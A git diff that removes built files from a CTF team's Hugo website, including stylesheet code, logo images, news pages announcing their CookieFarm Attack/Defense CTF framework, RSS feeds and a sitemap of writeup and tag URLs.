pointer-events: none; - top: 0; - font-size: 100%; - left: -3.8em; - min-width: 3em; - /* width: 3em; /* works for line-numbers below 1000 lines */ - letter-spacing: -1px; - border-right: 1px solid #999; - - -webkit-user-select: none; - -moz-user-select: none; - -ms-user-select: none; - user-select: none; -} - -.line-numbers-rows > span { - display: block; - counter-increment: linenumber; -} - -.line-numbers-rows > span:before { - content: counter(linenumber); - color: #999; - display: block; - padding-right: 0.8em; - text-align: right; -} - -/* toolbar */ - -div.code-toolbar { - position: relative; -} - -div.code-toolbar > .toolbar { - position: absolute; - z-index: 10; - top: 0.3em; - right: 0.2em; - transition: opacity 0.3s ease-in-out; - opacity: 0; -} - -div.code-toolbar:hover > .toolbar { - opacity: 1; -} - -/* Separate line b/c rules are thrown out if selector is invalid. - IE11 and old Edge versions don't support :focus-within. */ -div.code-toolbar:focus-within > .toolbar { - opacity: 1; -} - -div.code-toolbar > .toolbar > .toolbar-item { - display: inline-block; -} - -div.code-toolbar > .toolbar > .toolbar-item > a { - cursor: pointer; -} - -div.code-toolbar > .toolbar > .toolbar-item > button { - background: none; - border: 0; - color: inherit; - font: inherit; - line-height: normal; - overflow: visible; - padding: 0; - -webkit-user-select: none; /* for button */ - -moz-user-select: none; - -ms-user-select: none; -} - -div.code-toolbar > .toolbar > .toolbar-item > a, -div.code-toolbar > .toolbar > .toolbar-item > button, -div.code-toolbar > .toolbar > .toolbar-item > span { - color: #bbb; - font-size: 0.8em; - padding: 0 0.5em; - background: #f5f2f0; - background: rgba(224, 224, 224, 0.2); - box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2); - border-radius: 0.5em; -} - -div.code-toolbar > .toolbar > .toolbar-item > a:hover, -div.code-toolbar > .toolbar > .toolbar-item > a:focus, -div.code-toolbar > .toolbar > .toolbar-item > button:hover, -div.code-toolbar > .toolbar > .toolbar-item > button:focus, -div.code-toolbar > .toolbar > .toolbar-item > span:hover, -div.code-toolbar > .toolbar > .toolbar-item > span:focus { - color: inherit; - text-decoration: none; -} - -/* line highlight */ -.line-highlight { - position: absolute; - left: 0; - right: 0; - padding: inherit 0; - margin-top: 1em; /* Same as .prism’s padding-top */ - - background: hsla(50, 100%, 83%, 0.2); - /* background: linear-gradient(to right, hsla(24, 20%, 50%, 0.1) 70%, hsla(24, 20%, 50%, 0)); */ - - pointer-events: none; - - line-height: inherit; - white-space: pre; -} - -@media print { - .line-highlight { - /* - * This will prevent browsers from replacing the background color with white. - * It's necessary because the element is layered on top of the displayed code. - */ - -webkit-print-color-adjust: exact; - color-adjust: exact; - } -} - -.line-highlight:before, -.line-highlight[data-end]:after { - content: attr(data-start); - position: absolute; - top: 0.4em; - left: 0.6em; - min-width: 1em; - padding: 0 0.5em; - background-color: hsla(24, 20%, 50%, 0.4); - color: hsl(24, 20%, 95%); - font: bold 65%/1.5 sans-serif; - text-align: center; - vertical-align: 0.3em; - border-radius: 999px; - text-shadow: none; - box-shadow: 0 1px white; -} - -.line-highlight[data-end]:after { - content: attr(data-end); - top: auto; - bottom: 0.4em; -} - -.line-numbers .line-highlight:before, -.line-numbers .line-highlight:after { - content: none; -} - -pre[id].linkable-line-numbers span.line-numbers-rows { - pointer-events: all; -} -pre[id].linkable-line-numbers span.line-numbers-rows > span:before { - cursor: pointer; -} -pre[id].linkable-line-numbers span.line-numbers-rows > span:hover:before { - background-color: rgba(128, 128, 128, 0.2); -} diff --git a/public/lib/css/prism.min.6226f06f992e0d6166b0e26724efd050dcc381202a752892ba523b1b865de2ea5e427f8f7d10de682fc35d6e7444018247d1f25db5e1e3bab17068ce191c5886.css b/public/lib/css/prism.min.6226f06f992e0d6166b0e26724efd050dcc381202a752892ba523b1b865de2ea5e427f8f7d10de682fc35d6e7444018247d1f25db5e1e3bab17068ce191c5886.css deleted file mode 100644 index 027b535b..00000000 --- a/public/lib/css/prism.min.6226f06f992e0d6166b0e26724efd050dcc381202a752892ba523b1b865de2ea5e427f8f7d10de682fc35d6e7444018247d1f25db5e1e3bab17068ce191c5886.css +++ /dev/null @@ -1 +0,0 @@ -code[class*=language-],pre[class*=language-]{color:#ddd;text-align:left;white-space:pre;word-spacing:normal;word-break:normal;word-wrap:normal;line-height:1.5;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-hyphens:none;-moz-hyphens:none;-ms-hyphens:none;hyphens:none}pre[class*=language-]{padding:1em;overflow:auto}:not(pre)>code[class*=language-]{padding:.1em;border-radius:.3em;white-space:normal}.token.comment,.token.block-comment,.token.prolog,.token.doctype,.token.cdata{color:#999}.token.punctuation{color:#ccc}.token.tag,.token.attr-name,.token.namespace,.token.deleted{color:#e2777a}.token.function-name{color:#6196cc}.token.boolean,.token.number,.token.function{color:#f08d49}.token.property,.token.class-name,.token.constant,.token.symbol{color:#f8c555}.token.selector,.token.important,.token.atrule,.token.keyword,.token.builtin{color:#cc99cd}.token.string,.token.char,.token.attr-value,.token.regex,.token.variable{color:#7ec699}.token.operator,.token.entity,.token.url{color:#67cdcc}.token.important,.token.bold{font-weight:700}.token.italic{font-style:italic}.token.entity{cursor:help}.token.inserted{color:green}pre[class*=language-].line-numbers{position:relative;padding-left:3.8em;counter-reset:linenumber}pre[class*=language-].line-numbers>code{position:relative;white-space:inherit}.line-numbers .line-numbers-rows{position:absolute;pointer-events:none;top:0;font-size:100%;left:-3.8em;min-width:3em;letter-spacing:-1px;border-right:1px solid #999;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.line-numbers-rows>span{display:block;counter-increment:linenumber}.line-numbers-rows>span:before{content:counter(linenumber);color:#999;display:block;padding-right:.8em;text-align:right}div.code-toolbar{position:relative}div.code-toolbar>.toolbar{position:absolute;z-index:10;top:.3em;right:.2em;transition:opacity .3s ease-in-out;opacity:0}div.code-toolbar:hover>.toolbar{opacity:1}div.code-toolbar:focus-within>.toolbar{opacity:1}div.code-toolbar>.toolbar>.toolbar-item{display:inline-block}div.code-toolbar>.toolbar>.toolbar-item>a{cursor:pointer}div.code-toolbar>.toolbar>.toolbar-item>button{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;padding:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}div.code-toolbar>.toolbar>.toolbar-item>a,div.code-toolbar>.toolbar>.toolbar-item>button,div.code-toolbar>.toolbar>.toolbar-item>span{color:#bbb;font-size:.8em;padding:0 .5em;background:#f5f2f0;background:rgba(224,224,224,.2);box-shadow:0 2px rgba(0,0,0,.2);border-radius:.5em}div.code-toolbar>.toolbar>.toolbar-item>a:hover,div.code-toolbar>.toolbar>.toolbar-item>a:focus,div.code-toolbar>.toolbar>.toolbar-item>button:hover,div.code-toolbar>.toolbar>.toolbar-item>button:focus,div.code-toolbar>.toolbar>.toolbar-item>span:hover,div.code-toolbar>.toolbar>.toolbar-item>span:focus{color:inherit;text-decoration:none}.line-highlight{position:absolute;left:0;right:0;padding:inherit 0;margin-top:1em;background:hsla(50,100%,83%,.2);pointer-events:none;line-height:inherit;white-space:pre}@media print{.line-highlight{-webkit-print-color-adjust:exact;color-adjust:exact}}.line-highlight:before,.line-highlight[data-end]:after{content:attr(data-start);position:absolute;top:.4em;left:.6em;min-width:1em;padding:0 .5em;background-color:hsla(24,20%,50%,.4);color:#f5f2f0;font:700 65%/1.5 sans-serif;text-align:center;vertical-align:.3em;border-radius:999px;text-shadow:none;box-shadow:0 1px white}.line-highlight[data-end]:after{content:attr(data-end);top:auto;bottom:.4em}.line-numbers .line-highlight:before,.line-numbers .line-highlight:after{content:none}pre[id].linkable-line-numbers span.line-numbers-rows{pointer-events:all}pre[id].linkable-line-numbers span.line-numbers-rows>span:before{cursor:pointer}pre[id].linkable-line-numbers span.line-numbers-rows>span:hover:before{background-color:rgba(128,128,128,.2)} \ No newline at end of file diff --git a/public/icons/logo.png b/public/logo.png similarity index 100% rename from public/icons/logo.png rename to public/logo.png diff --git a/public/logo/1024/cookie-black.png b/public/logo/1024/cookie-black.png deleted file mode 100644 index 5007ac18..00000000 Binary files a/public/logo/1024/cookie-black.png and /dev/null differ diff --git a/public/logo/1024/cookie-trasp.png b/public/logo/1024/cookie-trasp.png deleted file mode 100644 index a24c8f08..00000000 Binary files a/public/logo/1024/cookie-trasp.png and /dev/null differ diff --git a/public/logo/1024/cookie-white.png b/public/logo/1024/cookie-white.png deleted file mode 100644 index ebe13afe..00000000 Binary files a/public/logo/1024/cookie-white.png and /dev/null differ diff --git a/public/logo/256/cookie-black.png b/public/logo/256/cookie-black.png deleted file mode 100644 index 89547c6e..00000000 Binary files a/public/logo/256/cookie-black.png and /dev/null differ diff --git a/public/logo/256/cookie-trasp.png b/public/logo/256/cookie-trasp.png deleted file mode 100644 index 3a4a39b9..00000000 Binary files a/public/logo/256/cookie-trasp.png and /dev/null differ diff --git a/public/logo/256/cookie-white.png b/public/logo/256/cookie-white.png deleted file mode 100644 index 88c1b2f9..00000000 Binary files a/public/logo/256/cookie-white.png and /dev/null differ diff --git a/public/logo/3dlogo.webp b/public/logo/3dlogo.webp deleted file mode 100644 index 1f080a77..00000000 Binary files a/public/logo/3dlogo.webp and /dev/null differ diff --git a/public/logo/512/cookie-black.png b/public/logo/512/cookie-black.png deleted file mode 100644 index be9e1a32..00000000 Binary files a/public/logo/512/cookie-black.png and /dev/null differ diff --git a/public/logo/512/cookie-trasp.png b/public/logo/512/cookie-trasp.png deleted file mode 100644 index 2258ff28..00000000 Binary files a/public/logo/512/cookie-trasp.png and /dev/null differ diff --git a/public/logo/512/cookie-white.png b/public/logo/512/cookie-white.png deleted file mode 100644 index d3fadb12..00000000 Binary files a/public/logo/512/cookie-white.png and /dev/null differ diff --git a/public/logo/cookie.svg b/public/logo/cookie.svg deleted file mode 100644 index cd1c35eb..00000000 --- a/public/logo/cookie.svg +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - \ No newline at end of file diff --git a/public/logo/image.png b/public/logo/image.png deleted file mode 100644 index bd256a29..00000000 Binary files a/public/logo/image.png and /dev/null differ diff --git a/public/logo/logo-white.png b/public/logo/logo-white.png deleted file mode 100644 index f1c8292e..00000000 Binary files a/public/logo/logo-white.png and /dev/null differ diff --git a/public/news/cookiefarmv1.0.0/index.html b/public/news/cookiefarmv1.0.0/index.html deleted file mode 100644 index 599b1136..00000000 --- a/public/news/cookiefarmv1.0.0/index.html +++ /dev/null @@ -1,415 +0,0 @@ - - - - - - - - - - - CookieFarm v1.0.1 🍪 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
- -
-

- Last edit: May 16, 2025 -

-
- - -
- - - -
- - - - - - -

🎉 CookieFarm v1.0.1 is available 🍪🐮 – Initial Stable Release! - - - - - - - - -

- -CookieFarm Logo -

We are excited to announce the release of version v1.0.1 of CookieFarm, our Attack/Defense CTF framework designed to make life easier for teams during A/D.

- -

🧠 What is CookieFarm? - - - - - - - - -

- -

CookieFarm is a hybrid Go + Python A/D CTF framework inspired by DestructiveFarm, but with a significantly leaner approach in terms of RAM and CPU consumption. Our philosophy is “zero distractions”: You just write the exploit logic; we take care of the rest.

- -

🚀 What’s new in v1.0.1? - - - - - - - - -

- -
    -
  • Responsive dashboard in HTMX and tailwindcss
  • -
  • Backend in golang with Fiber framework
  • -
  • Dynamic protocol loader
  • -
  • Shared configuration
  • -
  • Client golang with python exploiter manager integration
  • -
  • Backend authentication for make sure to not have snitch
  • -
  • Docker configuration for fast and easy server deploy
  • -
  • Sqlite3 database for portability and efficiency
  • -
- -

🛠️ How it works - - - - - - - - -

- -

SCHEMA

- -

🔗 Try it now! - - - - - - - - -

- -

👉 ByteTheCookies/Cookiefarm on GitHub: https://github.com/ByteTheCookies/Cookiefarm

- -

🍪 Why choose CookieFarm? - - - - - - - - -

- -
    -
  • Hybrid Go + Python architecture.
  • -
  • Automatic handling of exploits, flags, and scores.
  • -
  • Total focus on writing exploits.
  • -
  • Open source with an MIT license.
  • -
- -

❤️ Special Thanks - - - - - - - - -

- -

Huge shoutout to the ByteTheCookie team for building a performance-driven, distraction-free environment tailored for real CTF scenarios in particular to @akiidjk @suga @vympel7 @Dabi1290.

- -
-
- -
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/news/cookiefarmv1.0.1/index.html b/public/news/cookiefarmv1.0.1/index.html deleted file mode 100644 index 7bf4c336..00000000 --- a/public/news/cookiefarmv1.0.1/index.html +++ /dev/null @@ -1,415 +0,0 @@ - - - - - - - - - - - CookieFarm v1.0.1 🍪 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
- -
-

- Last edit: May 16, 2025 -

-
- - -
- - - -
- - - - - - -

🎉 CookieFarm v1.0.1 is available 🍪🐮 – Initial Stable Release! - - - - - - - - -

- -CookieFarm Logo -

We are excited to announce the release of version v1.0.1 of CookieFarm, our Attack/Defense CTF framework designed to make life easier for teams during A/D.

- -

🧠 What is CookieFarm? - - - - - - - - -

- -

CookieFarm is a hybrid Go + Python A/D CTF framework inspired by DestructiveFarm, but with a significantly leaner approach in terms of RAM and CPU consumption. Our philosophy is “zero distractions”: You just write the exploit logic; we take care of the rest.

- -

🚀 What’s new in v1.0.1? - - - - - - - - -

- -
    -
  • Responsive dashboard in HTMX and tailwindcss
  • -
  • Backend in golang with Fiber framework
  • -
  • Dynamic protocol loader
  • -
  • Shared configuration
  • -
  • Client golang with python exploiter manager integration
  • -
  • Backend authentication ensures that there is no snitch
  • -
  • Docker configuration for fast and easy server deploy
  • -
  • Sqlite3 database for portability and efficiency
  • -
- -

🛠️ How it works - - - - - - - - -

- -

SCHEMA

- -

🔗 Try it now! - - - - - - - - -

- -

👉 ByteTheCookies/Cookiefarm on GitHub: https://github.com/ByteTheCookies/Cookiefarm

- -

🍪 Why choose CookieFarm? - - - - - - - - -

- -
    -
  • Hybrid Go + Python architecture.
  • -
  • Automatic handling of exploits, flags, and scores.
  • -
  • Total focus on writing exploits.
  • -
  • Open source with an MIT license.
  • -
- -

❤️ Special Thanks - - - - - - - - -

- -

Huge shoutout to the ByteTheCookies team for building a performance-driven, distraction-free environment tailored for real CTF scenarios in particular to @akiidjk @suga @vympel7 @Dabi1290.

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/news/image.png b/public/news/image.png deleted file mode 100644 index abdd49c3..00000000 Binary files a/public/news/image.png and /dev/null differ diff --git a/public/news/index.html b/public/news/index.html deleted file mode 100644 index 072903fa..00000000 --- a/public/news/index.html +++ /dev/null @@ -1,292 +0,0 @@ - - - - - - - - - - - News - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
- -
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/news/index.xml b/public/news/index.xml deleted file mode 100644 index baaea43b..00000000 --- a/public/news/index.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - News on ByteTheCookies - http://localhost:1313/news/ - Recent content in News on ByteTheCookies - Hugo -- gohugo.io - en - - CookieFarm v1.0.1 🍪 - http://localhost:1313/news/cookiefarmv1.0.1/ - Fri, 16 May 2025 00:00:00 +0200 - - http://localhost:1313/news/cookiefarmv1.0.1/ - 🎉 CookieFarm v1.0.1 is available 🍪🐮 – Initial Stable Release! We are excited to announce the release of version v1.0.1 of CookieFarm, our Attack/Defense CTF framework designed to make life easier for teams during A/D. -🧠 What is CookieFarm? CookieFarm is a hybrid Go + Python A/D CTF framework inspired by DestructiveFarm, but with a significantly leaner approach in terms of RAM and CPU consumption. Our philosophy is &ldquo;zero distractions&rdquo;: You just write the exploit logic; we take care of the rest. - - - - \ No newline at end of file diff --git a/public/news/page/1/index.html b/public/news/page/1/index.html deleted file mode 100644 index b70c993e..00000000 --- a/public/news/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/news/ - - - - - - diff --git a/public/news/post/index.html b/public/news/post/index.html deleted file mode 100644 index b9fde5b9..00000000 --- a/public/news/post/index.html +++ /dev/null @@ -1,243 +0,0 @@ - - - - - - - - Post - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - -
- -
- -
-

- Last edit: Oct 7, 2024 -

-
- - -
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/nft.png b/public/nft.png deleted file mode 100644 index d157e055..00000000 Binary files a/public/nft.png and /dev/null differ diff --git a/public/series/index.html b/public/series/index.html deleted file mode 100644 index 5bb5909c..00000000 --- a/public/series/index.html +++ /dev/null @@ -1,235 +0,0 @@ - - - - - - - - - - - Series - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-

Series

-
-
-
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/series/index.xml b/public/series/index.xml deleted file mode 100644 index a8f8eb4f..00000000 --- a/public/series/index.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - Series on ByteTheCookies - http://localhost:1313/series/ - Recent content in Series on ByteTheCookies - Hugo -- gohugo.io - en - - \ No newline at end of file diff --git a/public/sitemap.xml b/public/sitemap.xml deleted file mode 100644 index b08711fa..00000000 --- a/public/sitemap.xml +++ /dev/null @@ -1,627 +0,0 @@ - - - - http://localhost:1313/tags/10-solves/ - 2025-08-25T20:22:29+02:00 - - http://localhost:1313/tags/460-points/ - 2025-08-25T20:22:29+02:00 - - http://localhost:1313/tags/blockchain/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/tags/solidity/ - 2025-08-25T20:22:29+02:00 - - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - 2025-08-25T20:22:29+02:00 - - http://localhost:1313/tags/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/tags/zeptoide/ - 2025-08-25T20:22:29+02:00 - - http://localhost:1313/tags/crypto/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/tags/ctf/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/tags/forensics/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/tags/misc/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/tags/pwn/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/tags/reversing/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/tags/web/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/writeups/wwfctf2025/ - 2025-08-25T20:39:21+02:00 - - http://localhost:1313/tags/hardware/rf/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/tags/hash-cracking/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/writeups/l3akctf2025/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/tags/mobile/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/tags/osint/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/tags/rev/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/tags/22-solves/ - 2025-07-08T22:40:18+02:00 - - http://localhost:1313/tags/280-points/ - 2025-07-08T22:40:18+02:00 - - http://localhost:1313/tags/python/ - 2025-08-01T22:23:03+02:00 - - http://localhost:1313/writeups/cornctf2025/simple-chat/ - 2025-07-08T22:40:18+02:00 - - http://localhost:1313/tags/sqli-+-xss/ - 2025-07-08T22:40:18+02:00 - - http://localhost:1313/tags/val/ - 2025-07-08T22:40:18+02:00 - - http://localhost:1313/tags/17-solves/ - 2025-08-01T22:23:03+02:00 - - http://localhost:1313/tags/300-points/ - 2025-07-08T22:40:18+02:00 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - 2025-07-08T22:40:18+02:00 - - http://localhost:1313/tags/insecure-randomness/ - 2025-07-08T22:40:18+02:00 - - http://localhost:1313/tags/stecca/ - 2025-07-08T22:40:18+02:00 - - http://localhost:1313/tags/4-solves/ - 2025-06-23T18:54:55+02:00 - - http://localhost:1313/tags/496-points/ - 2025-06-23T18:54:55+02:00 - - http://localhost:1313/writeups/cornctf2025/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/tags/cybercup2025/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/writeups/cornctf2025/ecrsa/ - 2025-06-23T18:54:55+02:00 - - http://localhost:1313/tags/just_riccio/ - 2025-06-23T18:54:55+02:00 - - http://localhost:1313/tags/pwnlentoni/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/tags/reverse-engineering/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/news/cookiefarmv1.0.1/ - 2025-05-19T10:51:04+02:00 - - http://localhost:1313/tags/388-points/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/tags/albovo/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/tags/javascript/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/tags/prototype-pollution/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/writeups/ulisse2025/stackbank1/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/tags/14-solves/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/tags/blind-ssti/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/tags/cybercup-2025/ - 2025-06-23T18:45:46+02:00 - - http://localhost:1313/tags/italy/ - 2025-06-23T18:45:46+02:00 - - http://localhost:1313/tags/team-ulisse/ - 2025-06-23T18:45:46+02:00 - - http://localhost:1313/writeups/ulisse2025/ - 2025-06-23T18:45:46+02:00 - - http://localhost:1313/tags/428-points/ - 2025-03-28T11:22:26+01:00 - - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - 2025-03-28T11:22:26+01:00 - - http://localhost:1313/tags/pietro-lepori/ - 2025-03-28T11:22:26+01:00 - - http://localhost:1313/writeups/k1ndasus2025/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/tags/team-k1ndasus/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/writeups/srdnlen2025/confusion/ - 2025-03-16T14:13:14+01:00 - - http://localhost:1313/tags/zaua/ - 2025-03-16T14:13:14+01:00 - - http://localhost:1313/tags/bad-practice/ - 2025-03-11T18:29:57+01:00 - - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - 2025-03-11T18:29:57+01:00 - - http://localhost:1313/tags/salvatore-abello/ - 2025-03-11T18:29:57+01:00 - - http://localhost:1313/tags/nosqli/ - 2025-08-01T22:23:03+02:00 - - http://localhost:1313/tags/octaviusss/ - 2025-03-11T18:29:57+01:00 - - http://localhost:1313/tags/race-condition/ - 2025-08-01T22:23:03+02:00 - - http://localhost:1313/writeups/srdnlen2025/speed/ - 2025-03-11T18:29:57+01:00 - - http://localhost:1313/writeups/srdnlen2025/ben10/ - 2025-03-11T18:29:57+01:00 - - http://localhost:1313/tags/business-logic-vulnerability/ - 2025-03-11T18:29:57+01:00 - - http://localhost:1313/tags/gheddus/ - 2025-03-11T18:29:57+01:00 - - http://localhost:1313/tags/team-trx/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/writeups/trx2025/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/writeups/srdnlen2025/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/tags/team-srdnlen/ - 2025-04-08T21:14:20+02:00 - - http://localhost:1313/tags/50-points/ - 2024-12-23T17:59:33+01:00 - - http://localhost:1313/tags/79-solves/ - 2024-12-23T17:59:33+01:00 - - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - 2024-12-23T17:59:33+01:00 - - http://localhost:1313/tags/meni/ - 2024-12-23T17:59:33+01:00 - - http://localhost:1313/tags/144-points/ - 2024-12-23T17:59:22+01:00 - - http://localhost:1313/tags/25-solves/ - 2024-12-23T17:59:22+01:00 - - http://localhost:1313/tags/dadadani/ - 2024-12-23T17:59:29+01:00 - - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - 2024-12-23T17:59:22+01:00 - - http://localhost:1313/tags/kotlin/ - 2024-12-23T17:59:22+01:00 - - http://localhost:1313/tags/reverse/ - 2024-12-23T17:59:22+01:00 - - http://localhost:1313/tags/95-solves/ - 2024-12-23T17:59:26+01:00 - - http://localhost:1313/tags/golang/ - 2024-12-23T17:59:26+01:00 - - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - 2024-12-23T17:59:26+01:00 - - http://localhost:1313/tags/leaked-secret/ - 2024-12-23T17:59:26+01:00 - - http://localhost:1313/tags/schr%C3%B6dy/ - 2024-12-23T17:59:26+01:00 - - http://localhost:1313/tags/13-solves/ - 2024-12-23T17:59:29+01:00 - - http://localhost:1313/tags/232-points/ - 2024-12-23T17:59:29+01:00 - - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - 2024-12-23T17:59:29+01:00 - - http://localhost:1313/tags/xss/ - 2024-12-23T17:59:29+01:00 - - http://localhost:1313/writeups/m0lecon2025beginner/ - 2025-01-01T00:30:03+01:00 - - http://localhost:1313/tags/286-points/ - 2024-12-22T22:25:24+01:00 - - http://localhost:1313/tags/9-solves/ - 2024-12-22T22:25:24+01:00 - - http://localhost:1313/tags/rising/ - 2024-12-22T22:25:24+01:00 - - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - 2024-12-22T22:25:24+01:00 - - http://localhost:1313/tags/483-points/ - 2024-10-08T10:49:02+02:00 - - http://localhost:1313/tags/53-solves/ - 2024-10-08T10:49:02+02:00 - - http://localhost:1313/tags/information-leak/ - 2024-10-08T10:49:02+02:00 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - 2024-10-08T10:49:02+02:00 - - http://localhost:1313/tags/vigneswar/ - 2024-10-08T10:49:02+02:00 - - http://localhost:1313/tags/104-solves/ - 2024-10-07T22:44:32+02:00 - - http://localhost:1313/tags/431-points/ - 2024-10-07T22:44:32+02:00 - - http://localhost:1313/tags/4run/ - 2024-10-07T22:44:32+02:00 - - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - 2024-10-07T22:44:32+02:00 - - http://localhost:1313/tags/filter-bypass-+-rce/ - 2024-10-07T22:44:32+02:00 - - http://localhost:1313/tags/129-solves/ - 2024-10-07T22:42:53+02:00 - - http://localhost:1313/tags/394-points/ - 2024-10-07T22:42:53+02:00 - - http://localhost:1313/writeups/ironctf2024/loan_app/ - 2024-10-07T22:42:53+02:00 - - http://localhost:1313/tags/proxy-bypass/ - 2024-10-07T22:42:53+02:00 - - http://localhost:1313/tags/39-solves/ - 2024-10-06T21:56:16+02:00 - - http://localhost:1313/tags/491-points/ - 2024-10-06T21:56:16+02:00 - - http://localhost:1313/tags/dope_cat/ - 2024-10-06T21:56:16+02:00 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - 2024-10-06T21:56:16+02:00 - - http://localhost:1313/tags/476-points/ - 2024-10-06T21:56:16+02:00 - - http://localhost:1313/tags/62-solves/ - 2024-10-06T21:56:16+02:00 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - 2024-10-06T21:56:16+02:00 - - http://localhost:1313/tags/android/ - 2025-06-23T18:45:46+02:00 - - http://localhost:1313/tags/gamehacking/ - 2025-06-23T18:45:46+02:00 - - http://localhost:1313/writeups/ironctf2024/ - 2025-06-23T18:45:46+02:00 - - http://localhost:1313/writeups/patriotctf2024/ - 2024-09-27T17:31:27+02:00 - - http://localhost:1313/writeups/m0lecon2025teaser/ - 2024-09-27T17:31:23+02:00 - - http://localhost:1313/tags/127-points/ - 2024-09-15T14:10:31+02:00 - - http://localhost:1313/tags/29-solves/ - 2024-09-15T14:10:31+02:00 - - http://localhost:1313/tags/drago/ - 2024-09-15T14:10:31+02:00 - - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - 2024-09-15T14:10:31+02:00 - - http://localhost:1313/tags/0xm4hm0ud/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/122-solves/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/file-patching/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/rust/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/writeups/cyberspace2024/snake/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/184-solves/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/cryptocat/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/ssrf/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/173-solves/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/rex/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/symlink/ - 2024-09-02T14:35:32+02:00 - - 